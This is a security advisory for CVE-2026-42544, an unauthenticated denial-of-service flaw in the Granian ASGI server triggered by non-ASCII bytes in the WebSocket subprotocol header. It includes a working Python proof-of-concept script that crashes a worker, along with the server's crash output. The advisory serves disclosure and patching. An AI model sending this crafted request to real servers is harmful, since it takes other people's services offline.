GHSA-vrg7-482j-p6f6

Suggest an improvement
Source
https://github.com/advisories/GHSA-vrg7-482j-p6f6
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vrg7-482j-p6f6/GHSA-vrg7-482j-p6f6.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-vrg7-482j-p6f6
Aliases
  • CVE-2026-42544
Related
Published
2026-05-06T21:20:48Z
Modified
2026-05-29T18:59:12.033592943Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
Details

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-20",
        "CWE-248",
        "CWE-400"
    ],
    "github_reviewed_at": "2026-05-06T21:20:48Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
}
References

Affected packages

PyPI / granian

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
1.2.0
Fixed
2.7.4

Affected versions

1.*
1.2.3
1.3.0
1.3.1
1.3.2
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.5.0
1.5.1
1.5.2
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.7.6
2.*
2.0.0
2.0.1
2.1.0
2.1.1
2.1.2
2.2.0
2.2.1
2.2.2
2.2.3
2.2.4
2.2.5
2.2.6
2.3.0
2.3.1
2.3.2
2.3.3
2.3.4
2.4.0
2.4.1
2.4.2
2.5.0
2.5.1
2.5.2
2.5.3
2.5.4
2.5.5
2.5.6
2.5.7
2.6.0
2.6.1
2.7.0
2.7.1
2.7.2
2.7.3

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-vrg7-482j-p6f6/GHSA-vrg7-482j-p6f6.json"